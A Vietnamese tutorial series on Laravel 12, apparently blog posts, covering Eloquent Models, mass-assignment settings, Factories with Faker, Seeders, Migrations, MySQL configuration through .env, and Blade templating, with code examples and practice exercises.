Sau khi hoàn thành phần Database, chúng ta đã biết cách tạo bảng (Migration), thêm dữ liệu mẫu (Seeder) và sinh dữ liệu giả bằng Factory.
Tuy nhiên, cho đến thời điểm này chúng ta vẫn chưa thực sự làm việc với dữ liệu trong ứng dụng.
Trong Laravel, việc thao tác với cơ sở dữ liệu được thực hiện thông qua Eloquent ORM và thành phần quan trọng nhất chính là Model.
Model là lớp đại diện cho một bảng trong cơ sở dữ liệu.
Có thể hiểu đơn giản:
Một Model ↔ Một bảng (Table)
Một đối tượng Model ↔ Một bản ghi (Record)
Ví dụ:
| Model | Bảng |
|---|---|
| User | users |
| Post | posts |
| Category | categories |
Nhờ Model, chúng ta không cần viết các câu lệnh SQL thông thường mà vẫn có thể truy vấn và thao tác dữ liệu theo phong cách hướng đối tượng.
ORM (Object Relational Mapping) là kỹ thuật ánh xạ giữa đối tượng và cơ sở dữ liệu.
Thay vì viết:
SELECT * FROM posts;
Laravel cho phép:
Post::all();
Hay thay vì:
INSERT INTO posts (...)
chúng ta chỉ cần:
Post::create([
// dữ liệu
]);
Đây là lý do Eloquent trở thành một trong những điểm mạnh của Laravel.
Laravel hỗ trợ tạo Model bằng Artisan.
Ví dụ:
php artisan make:model Post
Laravel sẽ tạo:
app/
└── Models/
└── Post.php
Nếu muốn tạo luôn Migration và Factory:
php artisan make:model Post -mf
Hoặc tạo đầy đủ Controller, Migration, Factory và Seeder:
php artisan make:model Post -mfsc
Các tùy chọn này giúp tiết kiệm rất nhiều thời gian khi phát triển dự án.
Ví dụ Model Post:
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
class Post extends Model
{
//
}
Model kế thừa từ:
Illuminate\Database\Eloquent\Model
Nhờ đó chúng ta có thể sử dụng toàn bộ tính năng của Eloquent ORM.
Laravel mặc định tự suy ra tên bảng từ tên Model.
Ví dụ:
| Model | Table |
|---|---|
| User | users |
| Post | posts |
| Category | categories |
Laravel sẽ tự động thêm chữ s ở cuối tên Model.
Vì vậy, Model Post sẽ làm việc với bảng posts mà không cần cấu hình thêm.
Trong một số trường hợp, tên bảng không theo quy ước của Laravel.
Ví dụ:
tbl_posts
Khi đó cần khai báo:
protected $table = 'tbl_posts';
Laravel sẽ sử dụng bảng này thay vì bảng mặc định.
Laravel mặc định sử dụng khóa chính:
id
Nếu bảng sử dụng khóa chính khác:
protected $primaryKey = 'post_id';
Eloquent sẽ tự động sử dụng khóa này trong các thao tác truy vấn.
Đây là một trong những thuộc tính quan trọng nhất của Model.
Ví dụ:
protected $fillable = [
'title',
'content',
'category_id'
];
fillable là danh sách các cột được phép gán dữ liệu hàng loạt (Mass Assignment).
Ví dụ:
Post::create([
'title' => 'Laravel 12',
'content' => '...',
'category_id' => 1
]);
Nếu một cột không nằm trong fillable, Laravel sẽ không cho phép ghi dữ liệu bằng create() hoặc update() theo dạng mảng.
Đây là cơ chế bảo vệ giúp tránh việc ghi nhầm hoặc ghi trái phép vào các cột quan trọng.
Ngược lại với fillable, thuộc tính guarded dùng để chỉ định những cột không được phép gán hàng loạt.
Ví dụ:
protected $guarded = [
'id'
];
Hoặc:
protected $guarded = [];
Điều này có nghĩa là tất cả các cột đều có thể được gán dữ liệu.
Cách này thường chỉ nên sử dụng trong các dự án nhỏ hoặc khi bạn hiểu rõ dữ liệu được xử lý.
Thông thường, bạn chỉ nên sử dụng một trong hai.
Ví dụ an toàn:
protected $fillable = [
'title',
'content',
'category_id'
];
Thay vì:
protected $guarded = [];
Trong các dự án thực tế, fillable thường được ưu tiên hơn vì giúp kiểm soát dữ liệu tốt hơn và giảm nguy cơ phát sinh lỗ hổng bảo mật.
class Post extends Model
{
protected $fillable = [
'title',
'content',
'category_id'
];
}
Đây là cấu hình phổ biến trong hầu hết các dự án Laravel.
Laravel mặc định:
Model nằm trong app/Models.
Tên Model viết ở dạng số ít (Post, User, Category).
Tên bảng ở dạng số nhiều (posts, users, categories).
Khóa chính là id.
Có hai cột thời gian:
created_at
updated_at
Nhờ các quy ước này, lập trình viên rất ít khi phải cấu hình thêm.
Trong bài học này, chúng ta đã tìm hiểu:
Model là gì.
Eloquent ORM hoạt động như thế nào.
Tạo Model bằng Artisan.
Quy ước tên bảng trong Laravel.
Khai báo bảng bằng $table.
Khai báo khóa chính bằng $primaryKey.
Thuộc tính $fillable.
Thuộc tính $guarded.
Khi nào nên dùng fillable và guarded.
Ở bài tiếp theo, chúng ta sẽ bắt đầu thực hiện CRUD bằng Eloquent, học cách thêm, lấy, cập nhật và xóa dữ liệu thông qua các phương thức như create(), all(), find(), update() và delete() mà không cần viết câu lệnh SQL.
x1
Cập nhật: 2026-07-16T07:30:00.116+07:00
Ở bài trước, chúng ta đã học cách sử dụng Seeder để thêm dữ liệu mẫu vào Database.
Tuy nhiên, nếu cần tạo hàng trăm hoặc hàng nghìn bản ghi thì việc tự viết từng dữ liệu sẽ rất mất thời gian.
Laravel cung cấp Factory kết hợp với Faker để sinh dữ liệu giả (Fake Data) một cách tự động.
Đây là công cụ được sử dụng rất phổ biến trong quá trình phát triển và kiểm thử ứng dụng.
Factory là lớp dùng để định nghĩa cách tạo dữ liệu mẫu cho một Model.
Thay vì tự nhập:
100 người dùng
500 bài viết
2.000 bình luận
chúng ta chỉ cần yêu cầu Factory tạo dữ liệu và Laravel sẽ tự động sinh các bản ghi với thông tin ngẫu nhiên.
Faker là thư viện được Laravel tích hợp sẵn để tạo dữ liệu giả.
Ví dụ Faker có thể sinh:
Họ tên
Địa chỉ
Số điện thoại
Ngày tháng
Văn bản ngẫu nhiên
Hình ảnh (URL)
Số tiền
Và nhiều loại dữ liệu khác
Nhờ Faker, dữ liệu mẫu trông giống dữ liệu thật hơn, giúp việc kiểm thử trở nên hiệu quả.
Laravel hỗ trợ tạo Factory bằng Artisan:
php artisan make:factory PostFactory
Nếu đã có Model, bạn nên tạo Factory cùng với Model:
php artisan make:model Post -mf
Tùy chọn:
-m: tạo Migration.
-f: tạo Factory.
Laravel sẽ tạo file:
database/
└── factories/
└── PostFactory.php
Ví dụ:
public function definition(): array
{
return [
'title' => fake()->sentence(),
'content' => fake()->paragraph(),
];
}
Trong đó:
sentence() tạo tiêu đề ngẫu nhiên.
paragraph() tạo đoạn văn bản.
fake() là đối tượng Faker được Laravel cung cấp.
Tên:
fake()->name()
Email:
fake()->email()
Tên người dùng:
fake()->userName()
Địa chỉ:
fake()->address()
Số điện thoại:
fake()->phoneNumber()
Tiêu đề:
fake()->sentence()
Đoạn văn:
fake()->paragraph()
Nhiều đoạn văn:
fake()->paragraphs(3, true)
Số ngẫu nhiên:
fake()->numberBetween(1,100)
Ngày:
fake()->date()
Boolean:
fake()->boolean()
Những hàm này đáp ứng hầu hết nhu cầu tạo dữ liệu mẫu trong quá trình phát triển.
Sau khi định nghĩa Factory, có thể tạo dữ liệu bằng Seeder:
Post::factory()->count(20)->create();
Laravel sẽ tự động tạo 20 bài viết và lưu vào Database.
Có thể tạo nhiều hơn:
User::factory()->count(100)->create();
Hoặc:
Category::factory()->count(10)->create();
Ví dụ:
public function run(): void
{
User::factory()->count(10)->create();
Category::factory()->count(5)->create();
Post::factory()->count(50)->create();
}
Sau đó chạy:
php artisan migrate:fresh --seed
Laravel sẽ:
Tạo lại Database.
Chạy Migration.
Sinh toàn bộ dữ liệu mẫu.
Đây là quy trình rất phổ biến trong các dự án thực tế.
Factory còn có thể tạo dữ liệu liên kết.
Ví dụ:
Post::factory()
->count(30)
->for(User::factory())
->create();
Laravel sẽ:
Tạo User.
Tạo 30 bài viết.
Tự động gán user_id.
Sau này khi học Relationship, chúng ta sẽ khai thác tính năng này nhiều hơn.
chính xác hơn là:
posts phải có cột user_id (khóa ngoại) thì mới dùng được ->for(User::factory()).
Ví dụ migration của posts:
Schema::create('posts', function (Blueprint $table) {
$table->id();
$table->foreignId('user_id')->constrained()->cascadeOnDelete();
$table->string('title');
$table->text('content');
$table->timestamps();
});
// Post.php
public function user()
{
return $this->belongsTo(User::class);
}
// User.php
public function posts()
{
return $this->hasMany(Post::class);
}
Sau đó đoạn này sẽ hoạt động.
Nhưng tối ưu hơn mỗi post có user_id ngẫu nhiên.
use App\Models\User;
use Illuminate\Database\Eloquent\Factories\Factory;
/**
* @extends Factory Model
*/
class PostFactory extends Factory
{
/**
* Define the model's default state.
*
* @return array string, mixed
*/
public function definition(): array
{
return [
//Định nghĩa dữ liệu mẫu
'title' => fake()->sentence(),
'content' => fake()->paragraph(),
'user_id' => fn () => User::query()->inRandomOrder()->value('id'),
];
}
}
và bỏ dòng
->for(User::factory())
Đôi khi cần tạo dữ liệu theo thứ tự thay vì hoàn toàn ngẫu nhiên.
Ví dụ:
User::factory()
->count(3)
->sequence(
['role' => 'Admin'],
['role' => 'Editor'],
['role' => 'User']
)
->create();
Factory sẽ lần lượt tạo các vai trò theo đúng thứ tự đã khai báo.
Factory chỉ nên dùng để tạo dữ liệu phục vụ phát triển và kiểm thử.
Không sử dụng dữ liệu giả trên hệ thống đang vận hành thực tế.
Có thể kết hợp Factory với Seeder để khởi tạo dữ liệu nhanh chóng.
Nên định nghĩa Factory cho các Model chính như User, Category, Post và Comment.
Trong bài học này, chúng ta đã tìm hiểu:
Factory là gì.
Faker là gì.
Tạo Factory bằng Artisan.
Định nghĩa dữ liệu mẫu.
Các hàm Faker phổ biến.
Sinh dữ liệu bằng Factory.
Kết hợp Factory với Seeder.
Tạo dữ liệu có quan hệ giữa các Model.
Sử dụng Sequence để tạo dữ liệu theo thứ tự.
Đến đây, chúng ta đã hoàn thành phần Database của khóa học.
Ở bài tiếp theo, chúng ta sẽ bước sang phần Eloquent ORM, tìm hiểu về Model, cách Laravel làm việc với bảng dữ liệu và cách thao tác với cơ sở dữ liệu theo phong cách hướng đối tượng thay vì viết các câu lệnh SQL thủ công.
💡 Gợi ý thực hành sau bài học
Tạo dữ liệu mẫu cho dự án Blog:
10 người dùng (User)
5 danh mục (Category)
100 bài viết (Post)
Mỗi bài viết được gán ngẫu nhiên cho một người dùng và một danh mục.
Sau đó chạy:
php artisan migrate:fresh --seed
Khi hoàn thành, học viên sẽ có một cơ sở dữ liệu đầy đủ dữ liệu mẫu để tiếp tục học Eloquent ORM, CRUD và Relationship mà không cần nhập dữ liệu thủ công.
x1
Cập nhật: 2026-07-16T04:57:17.324+07:00
Ở bài trước, chúng ta đã học cách tạo bảng bằng Migration.
Tuy nhiên, sau khi tạo xong Database, các bảng vẫn hoàn toàn trống.
Trong quá trình phát triển, việc nhập dữ liệu thủ công bằng phpMyAdmin hoặc viết từng câu lệnh SQL sẽ rất mất thời gian.
Laravel cung cấp Seeder để tự động thêm dữ liệu mẫu (Sample Data) vào cơ sở dữ liệu chỉ với một vài lệnh đơn giản.
Seeder là các lớp PHP dùng để chèn dữ liệu vào Database.
Seeder thường được sử dụng để:
Tạo dữ liệu mẫu phục vụ phát triển.
Khởi tạo dữ liệu mặc định cho hệ thống.
Tạo tài khoản quản trị đầu tiên.
Hỗ trợ kiểm thử ứng dụng.
Thay vì nhập từng bản ghi bằng tay, bạn chỉ cần chạy Seeder và Laravel sẽ tự động thêm dữ liệu.
Tất cả Seeder được lưu trong:
database/
└── seeders/
Ngay khi tạo dự án Laravel, bạn sẽ thấy sẵn file:
DatabaseSeeder.php
Đây là Seeder gốc, có nhiệm vụ gọi các Seeder khác.
Để tạo Seeder mới, sử dụng Artisan:
php artisan make:seeder CategorySeeder
Laravel sẽ tạo:
database/seeders/CategorySeeder.php
Bên trong file sẽ có phương thức:
public function run(): void
{
//
}
Mọi dữ liệu cần thêm vào Database sẽ được viết trong phương thức run().
Ví dụ tạo dữ liệu cho bảng categories:
use Illuminate\Support\Facades\DB;
public function run(): void
{
DB::table('categories')->insert([
'name' => 'Laravel',
'created_at' => now(),
'updated_at' => now(),
]);
}
Khi chạy Seeder, Laravel sẽ thêm một bản ghi vào bảng categories.
Có thể thêm nhiều dữ liệu cùng lúc:
DB::table('categories')->insert([
[
'name' => 'Laravel',
'created_at' => now(),
'updated_at' => now(),
],
[
'name' => 'PHP',
'created_at' => now(),
'updated_at' => now(),
],
[
'name' => 'MySQL',
'created_at' => now(),
'updated_at' => now(),
],
]);
Cách này nhanh hơn so với việc gọi insert() nhiều lần.
Nếu database chưa có bảng categories thì không được chạy Seeder trước.
Thứ tự đúng trong Laravel luôn là:
Migration → Migrate → Seeder
Tức là:
php artisan make:migration create_categories_table
public function up(): void { Schema::create('categories', function (Blueprint $table) { $table->id(); $table->string('name'); $table->timestamps(); }); }
php artisan migrate
Lúc này database mới có bảng categories.
php artisan db:seed --class=CategorySeeder
Laravel sẽ thực hiện phương thức run() trong CategorySeeder.
Nếu chạy thành công, dữ liệu sẽ xuất hiện trong bảng categories.
Thông thường, một dự án có rất nhiều Seeder như:
UserSeeder
CategorySeeder
PostSeeder
RoleSeeder
Thay vì chạy từng Seeder, chúng ta đăng ký chúng trong DatabaseSeeder.
Ví dụ:
public function run(): void
{
$this->call([
CategorySeeder::class,
UserSeeder::class,
PostSeeder::class,
]);
}
Sau đó chỉ cần chạy:
php artisan db:seed
Laravel sẽ tự động gọi toàn bộ Seeder đã khai báo.
Trong quá trình phát triển, chúng ta thường muốn:
Xóa toàn bộ bảng.
Tạo lại Database.
Thêm dữ liệu mẫu.
Laravel hỗ trợ chỉ với một lệnh:
php artisan migrate:fresh --seed
Lệnh này sẽ:
Xóa tất cả bảng.
Chạy lại toàn bộ Migration.
Chạy DatabaseSeeder.
Đây là lệnh được sử dụng rất thường xuyên trong quá trình phát triển.
Seeder thường được kết hợp với Faker để sinh dữ liệu ngẫu nhiên.
Ví dụ:
100 người dùng.
1.000 bài viết.
500 bình luận.
Trong bài học tiếp theo, chúng ta sẽ tìm hiểu Factory, công cụ giúp tạo dữ liệu giả một cách nhanh chóng và chuyên nghiệp.
Không nên sử dụng Seeder để nhập dữ liệu thực tế của khách hàng.
Chỉ thêm các dữ liệu mặc định hoặc dữ liệu phục vụ phát triển và kiểm thử.
Có thể sử dụng Seeder để tạo tài khoản quản trị mặc định cho dự án.
Khi làm việc nhóm, nên đưa Seeder vào hệ thống quản lý mã nguồn để mọi thành viên có cùng dữ liệu khởi tạo.
Trong bài học này, chúng ta đã tìm hiểu:
Seeder là gì.
Tạo Seeder bằng Artisan.
Thêm dữ liệu bằng DB::table()->insert().
Chạy Seeder riêng lẻ.
Quản lý nhiều Seeder với DatabaseSeeder.
Kết hợp Migration và Seeder bằng php artisan migrate:fresh --seed.
Vai trò của Seeder trong phát triển và kiểm thử ứng dụng.
Ở bài tiếp theo, chúng ta sẽ học Factory, sử dụng Faker để tạo hàng trăm hoặc hàng nghìn bản ghi dữ liệu ngẫu nhiên chỉ với vài dòng mã, giúp việc kiểm thử và phát triển ứng dụng trở nên nhanh chóng và hiệu quả hơn.
💡 Gợi ý thực hành sau bài học:
Cho học viên tạo 3 Seeder:
CategorySeeder → thêm 5 danh mục.
UserSeeder → thêm 1 tài khoản quản trị.
PostSeeder → thêm 10 bài viết mẫu.
Sau đó đăng ký cả 3 trong DatabaseSeeder và chạy:
php artisan migrate:fresh --seed
Đây là quy trình mà hầu hết các dự án Laravel thực tế đều sử dụng khi khởi tạo dữ liệu cho môi trường phát triển.
x1
Cập nhật: 2026-07-13T20:24:34.894+07:00
Ở bài trước, chúng ta đã kết nối thành công Laravel với MySQL và chạy các Migration mặc định của hệ thống.
Trong bài học này, chúng ta sẽ tìm hiểu sâu hơn về Migration – một trong những tính năng quan trọng nhất của Laravel.
Thay vì tạo bảng trực tiếp bằng phpMyAdmin, Laravel cho phép chúng ta quản lý toàn bộ cấu trúc cơ sở dữ liệu bằng mã nguồn.
Điều này giúp dự án dễ bảo trì, dễ chia sẻ và đồng bộ giữa các thành viên trong nhóm.
Migration là các file PHP dùng để tạo hoặc thay đổi cấu trúc cơ sở dữ liệu.
Có thể xem Migration như "lịch sử thay đổi" của Database. Mỗi khi cần tạo bảng mới, thêm cột hoặc xóa cột, chúng ta chỉ cần tạo một Migration mới thay vì chỉnh sửa trực tiếp trên cơ sở dữ liệu.
Nhờ vậy, mọi thay đổi đều được lưu lại và có thể hoàn tác khi cần.
Để tạo một Migration mới, sử dụng Artisan:
php artisan make:migration create_posts_table
Sau khi chạy lệnh, Laravel sẽ tạo một file trong thư mục:
database/
└── migrations/
Tên file sẽ có dạng:
2026_07_08_101530_create_posts_table.php
Phần thời gian ở đầu giúp Laravel biết thứ tự thực thi các Migration.
💡 Chú ý
Ở bước này chưa tạo Database (chưa chạy
php artisan migrate), nên nếu gõ sai tên migration (ví dụ thiếu chữstrongposts) thì bạn chỉ cần:
🗑️ Xóa file migration mà Laravel vừa tạo trong thư mục
database/migrations/.⌨️ Chạy lại đúng lệnh
php artisan make:migration ....Vì migration chưa được thực thi, bạn có thể xóa và tạo lại mà không ảnh hưởng đến cơ sở dữ liệu.
Một Migration gồm hai phương thức chính:
public function up(): void
{
//
}
public function down(): void
{
//
}
up(): Thực hiện thay đổi (tạo bảng, thêm cột...).
down(): Hoàn tác thay đổi (xóa bảng, xóa cột...).
Laravel sẽ gọi up() khi chạy Migration và gọi down() khi Rollback.
Ví dụ tạo bảng posts:
Schema::create('posts', function (Blueprint $table) {
$table->id();
$table->string('title');
$table->text('content');
$table->timestamps();
});
Ý nghĩa:
id() tạo khóa chính tự tăng.
string() tạo cột chuỗi.
text() dùng cho nội dung dài.
timestamps() tạo hai cột:
created_at
updated_at
Sau khi chạy Migration, Laravel sẽ tự động tạo bảng posts.
Laravel hỗ trợ rất nhiều kiểu dữ liệu.
Một số kiểu thường gặp:
$table->string('name');
$table->text('content');
$table->integer('price');
$table->boolean('status');
$table->date('birthday');
$table->timestamp('published_at');
$table->float('score');
$table->decimal('amount',10,2);
Việc lựa chọn đúng kiểu dữ liệu sẽ giúp cơ sở dữ liệu hoạt động hiệu quả hơn.
Trong các dự án thực tế, các bảng thường liên kết với nhau.
Ví dụ:
Một User có nhiều Post.
Một Category có nhiều Post.
Laravel hỗ trợ tạo khóa ngoại rất đơn giản:
$table->foreignId('user_id')
->constrained()
->cascadeOnDelete();
Lệnh trên tương đương với:
tạo cột user_id
tạo Foreign Key
tham chiếu đến bảng users
tự động xóa dữ liệu liên quan khi User bị xóa.
Nếu tham chiếu đến bảng khác:
$table->foreignId('category_id')
->constrained('categories');
Đây là cách được khuyến nghị trong các dự án Laravel hiện đại.
Sau khi hoàn thành Migration:
php artisan migrate
Laravel sẽ đọc file Migration mới và thực hiện các thay đổi lên Database.
Những Migration đã chạy sẽ không bị chạy lại.
Nếu tạo sai bảng hoặc cần quay lại trạng thái trước đó:
php artisan migrate:rollback
Laravel sẽ gọi phương thức:
down()
để hoàn tác Migration gần nhất.
Trong quá trình học tập, đôi khi chúng ta muốn xóa toàn bộ bảng và tạo lại từ đầu.
php artisan migrate:fresh
Lệnh này sẽ:
Xóa tất cả bảng.
Chạy lại toàn bộ Migration.
Nếu muốn tạo dữ liệu mẫu luôn:
php artisan migrate:fresh --seed
Lệnh này rất hữu ích trong quá trình phát triển.
Laravel có quy ước đặt tên Migration:
create_posts_table
create_categories_table
create_users_table
Khi thêm cột:
add_status_to_posts_table
Đặt tên đúng quy ước giúp người khác dễ hiểu mục đích của Migration.
Không chỉnh sửa trực tiếp Database nếu dự án đang quản lý bằng Migration.
Mỗi thay đổi nên tạo một Migration mới thay vì sửa Migration cũ đã được chia sẻ.
Thường xuyên sao lưu dữ liệu trước khi chạy các lệnh như migrate:fresh.
Kiểm tra kỹ khóa ngoại để tránh lỗi khi tạo bảng.
Trong bài học này, chúng ta đã tìm hiểu:
Migration là gì.
Cách tạo Migration bằng Artisan.
Cấu trúc của một file Migration.
Các kiểu dữ liệu thường dùng.
Tạo khóa ngoại với foreignId().
Chạy Migration.
Rollback Migration.
Làm mới toàn bộ Database.
Ở bài tiếp theo, chúng ta sẽ học Seeder, sử dụng Faker để tạo dữ liệu mẫu và tự động thêm dữ liệu vào cơ sở dữ liệu, giúp việc phát triển và kiểm thử ứng dụng trở nên nhanh chóng hơn.
x1
Cập nhật: 2026-07-12T12:04:42.232+07:00
Sau khi hoàn thành phần Routing, Controller và Blade, chúng ta đã có thể xây dựng giao diện cho ứng dụng.
Tuy nhiên, mọi website thực tế đều cần lưu trữ dữ liệu như người dùng, bài viết, danh mục hay đơn hàng.
Đó là lúc Database trở thành thành phần không thể thiếu.
Trong bài học này, chúng ta sẽ tìm hiểu cách kết nối Laravel với MySQL và chạy Migration đầu tiên để tạo cơ sở dữ liệu theo chuẩn của Laravel.
Laravel hỗ trợ nhiều hệ quản trị cơ sở dữ liệu như:
MySQL
MariaDB
PostgreSQL
SQLite
SQL Server
Trong khóa học này, chúng ta sẽ sử dụng MySQL vì đây là hệ quản trị phổ biến nhất trong các dự án PHP.
Trước tiên hãy tạo một database mới.
Ví dụ:
CREATE DATABASE laravel12;
Bạn có thể tạo bằng:
phpMyAdmin
MySQL Workbench
DBeaver
Hoặc sử dụng dòng lệnh MySQL.
.envLaravel sử dụng file .env để lưu các thông tin cấu hình của dự án.
Mở file:
.env
Tìm đến phần Database:
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=laravel12
DB_USERNAME=root
DB_PASSWORD=
Ý nghĩa của từng thông số:
DB_CONNECTION: Loại cơ sở dữ liệu.
DB_HOST: Địa chỉ máy chủ.
DB_PORT: Cổng kết nối.
DB_DATABASE: Tên cơ sở dữ liệu.
DB_USERNAME: Tài khoản đăng nhập.
DB_PASSWORD: Mật khẩu.
Laravel sẽ đọc các thông tin này mỗi khi kết nối Database.
Sau khi cấu hình xong, hãy khởi động ứng dụng:
php artisan serve
Nếu truy cập website không gặp lỗi kết nối Database, nghĩa là Laravel đã đọc đúng thông tin trong file .env.
Nếu cấu hình sai, bạn có thể gặp các lỗi như:
Access denied
Unknown database
Connection refused
Hãy kiểm tra lại tên database, tài khoản, mật khẩu hoặc dịch vụ MySQL đã được khởi động hay chưa.
Chú ý: phải Chạy Migration trước:
php artisan migrateTrong Laravel, chúng ta không tạo bảng trực tiếp bằng phpMyAdmin.
Thay vào đó, Laravel sử dụng Migration để quản lý cấu trúc cơ sở dữ liệu bằng mã nguồn.
Có thể hiểu Migration giống như "phiên bản hóa" (version control) cho Database.
Mỗi thay đổi về bảng dữ liệu đều được lưu thành một file Migration, giúp dễ dàng theo dõi, chia sẻ và đồng bộ giữa các thành viên trong nhóm.
Tất cả Migration được lưu tại:
database/
└── migrations/
Ngay khi tạo project Laravel, bạn sẽ thấy sẵn một số Migration như:
users
password_reset_tokens
cache
jobs
Đây là các bảng mặc định phục vụ hệ thống.
Laravel cung cấp Artisan để tạo toàn bộ bảng chỉ với một lệnh:
php artisan migrate
Khi chạy lệnh này, Laravel sẽ:
Đọc toàn bộ file Migration.
Tạo các bảng trong Database.
Ghi lại lịch sử Migration vào bảng migrations.
Nếu thành công, bạn sẽ thấy các bảng mặc định xuất hiện trong Database.
migrationsLaravel tự động tạo bảng:
migrations
Bảng này dùng để lưu:
Migration nào đã chạy.
Thời điểm chạy.
Thứ tự chạy.
Nhờ đó Laravel biết file nào cần thực thi ở những lần tiếp theo và tránh chạy lặp lại.
Mở phpMyAdmin hoặc công cụ quản lý Database, bạn sẽ thấy các bảng như:
users
password_reset_tokens
sessions
cache
cache_locks
jobs
job_batches
failed_jobs
migrations
(Tùy theo phiên bản Laravel và các tùy chọn khi tạo dự án, danh sách bảng mặc định có thể khác nhau.)
Điều này cho thấy Laravel đã kết nối thành công với MySQL và thực hiện Migration.
Chạy Migration:
php artisan migrate
Quay lại lần Migration gần nhất:
php artisan migrate:rollback
Làm mới toàn bộ Migration:
php artisan migrate:fresh
Làm mới và chạy Seeder:
php artisan migrate:fresh --seed
Những lệnh này sẽ được sử dụng thường xuyên trong quá trình phát triển ứng dụng.
Không chỉnh sửa trực tiếp cấu trúc bảng trên môi trường phát triển nếu dự án đang sử dụng Migration.
Mọi thay đổi về Database nên được quản lý bằng Migration để đảm bảo tính đồng bộ.
Không chia sẻ file .env vì có thể chứa thông tin nhạy cảm như tài khoản và mật khẩu Database.
Thêm .env vào .gitignore khi làm việc với Git.
Trong bài học này, chúng ta đã:
Hiểu vai trò của Database trong Laravel.
Tạo Database MySQL.
Cấu hình kết nối thông qua file .env.
Chạy Migration đầu tiên bằng Artisan.
Tìm hiểu bảng migrations.
Làm quen với các lệnh Migration cơ bản.
Ở bài tiếp theo, chúng ta sẽ đi sâu vào Migration, học cách tự tạo bảng, định nghĩa các kiểu dữ liệu, khóa ngoại (foreignId) và quản lý thay đổi cấu trúc cơ sở dữ liệu theo đúng quy trình phát triển chuyên nghiệp trong Laravel.
x1
Cập nhật: 2026-07-11T15:14:39.079+07:00
Ở bài trước, chúng ta đã học cách sử dụng Controller để xử lý logic của ứng dụng.
Tuy nhiên, nếu Controller vừa xử lý dữ liệu vừa chứa toàn bộ mã HTML thì mã nguồn sẽ rất khó đọc và khó bảo trì.
Laravel giải quyết vấn đề này bằng Blade Template Engine – hệ thống template mạnh mẽ, đơn giản và được tích hợp sẵn.
Blade là Template Engine của Laravel, giúp tách riêng phần giao diện (View) khỏi phần xử lý nghiệp vụ (Controller).
Mô hình hoạt động:
Request
↓
Route
↓
Controller
↓
Model (nếu có)
↓
Blade View
↓
HTML
Nhờ Blade, chúng ta có thể:
Viết giao diện sạch sẽ.
Tái sử dụng các thành phần giao diện.
Tránh lặp lại mã HTML.
Hiển thị dữ liệu một cách an toàn.
Trong Laravel, tất cả giao diện được lưu trong thư mục:
resources/
└── views/
Tạo file:
resources/views/home.blade.php
Nội dung:
<h1>Xin chào Laravel 12</h1>
Trong Controller:
public function index()
{
return view('home');
}
Laravel sẽ tự động tìm file:
resources/views/home.blade.php
Controller:
public function index()
{
$title = "Học Laravel 12";
return view('home', compact('title'));
}
Blade:
<h1>{{ $title }}</h1>
Ký hiệu:
{{ }}
được dùng để hiển thị dữ liệu và tự động chống XSS bằng cách escape HTML.
Blade hỗ trợ cú pháp ngắn gọn hơn PHP thuần.
Điều kiện:
@if($age >= 18)
Người lớn
@else
Trẻ em
@endif
Vòng lặp:
@foreach($posts as $post)
<p>{{ $post->title }}</p>
@endforeach
Lặp theo số lần:
@for($i = 1; $i <= 5; $i++)
{{ $i }}
@endfor
Một website thường có:
Header
Menu
Footer
Nội dung
Nếu mỗi trang đều viết lại những phần này sẽ rất mất thời gian.
Blade cho phép tạo Layout dùng chung.
Ví dụ:
resources/views/layouts/app.blade.php
<!DOCTYPE html>
<html>
<head>
<title>Laravel 12</title>
</head>
<body>
<header>
Header
</header>
@yield('content')
<footer>
Footer
</footer>
</body>
</html>
Trang Home:
@extends('layouts.app')
@section('content')
<h1>Trang chủ</h1>
@endsection
Laravel sẽ tự động chèn nội dung của @section vào vị trí @yield.
Đây là cách tổ chức giao diện phổ biến trong hầu hết các dự án Laravel.
Layout:
@yield('content')
View:
@section('content')
<h2>Xin chào</h2>
@endsection
Có thể tạo nhiều vùng nội dung như:
title
content
sidebar
scripts
Mỗi vùng sẽ được quản lý độc lập.
Những phần giao diện dùng nhiều lần nên tách thành các file riêng.
Ví dụ:
views/
├── partials/
│ ├── header.blade.php
│ ├── footer.blade.php
│ └── menu.blade.php
Trong Layout:
@include('partials.header')
@include('partials.menu')
@yield('content')
@include('partials.footer')
Việc chia nhỏ giao diện giúp dự án dễ bảo trì hơn rất nhiều.
Chú ý: tạo trước các file phải include
header.blade.php
<header> <h2>Laravel 12 Tutorial</h2> </header>
menu.blade.php
<nav> <a href="/">Home</a> | <a href="/about">About</a> </nav> <hr>
footer.blade.php
<hr> <footer> © {{ date('Y') }} </footer>
Đối với những thành phần giao diện có thể tái sử dụng như:
Button
Card
Alert
Modal
Navbar
Laravel khuyến khích sử dụng Component.
Tạo Component:
php artisan make:component Alert
Laravel sẽ tạo:
app/View/Components/
resources/views/components/
Sử dụng:
<x-alert>
Lưu dữ liệu thành công.
</x-alert>
Component giúp giao diện hiện đại, dễ mở rộng và giảm đáng kể lượng mã bị lặp.
Hãy mở file:
resources/views/components/alert.blade.php
Nếu bạn thấy:
<div> Breathing in, I calm body and mind. Breathing out, I smile. - Thich Nhat Hanh </div>
thì đây là nguyên nhân. Bạn đã xóa mất:
{{ $slot }}
$slot chính là nơi Laravel chèn nội dung nằm giữa:
Comment chỉ hiển thị trong mã nguồn:
{{-- Đây là comment Blade --}}
Khác với:
<!-- HTML Comment -->
Comment Blade sẽ không xuất hiện khi trình duyệt nhận HTML.
Blade mặc định bảo vệ khỏi XSS:
{{ $content }}
Nếu muốn hiển thị HTML:
{!! $content !!}
Chỉ nên sử dụng khi dữ liệu đã được kiểm soát để tránh lỗ hổng bảo mật.
resources/
└── views/
├── layouts/
│ └── app.blade.php
├── partials/
│ ├── header.blade.php
│ ├── footer.blade.php
│ └── menu.blade.php
├── components/
├── home.blade.php
└── about.blade.php
Đây là cách tổ chức được sử dụng phổ biến trong các dự án Laravel.
Chú ý: trong views tạo thêm file about.blade.php và trong HomeController sửa lại:
public function about()
{
return view('about');
}
Sau bài học này, bạn đã biết:
Blade Template Engine là gì.
Tạo View trong Laravel.
Truyền dữ liệu từ Controller sang View.
Hiển thị dữ liệu với {{ }}.
Sử dụng @if, @foreach, @for.
Tạo Layout với @extends, @section và @yield.
Tái sử dụng giao diện bằng @include.
Xây dựng Component để tạo các thành phần giao diện chuyên nghiệp.
Hiểu cách Blade hỗ trợ bảo mật thông qua cơ chế escape HTML.
Ở bài tiếp theo, chúng ta sẽ bắt đầu làm việc với cơ sở dữ liệu bằng cách cấu hình Database, kết nối MySQL và thực hiện Migration đầu tiên trong Laravel 12.
x1
Cập nhật: 2026-07-10T11:22:53.715+07:00
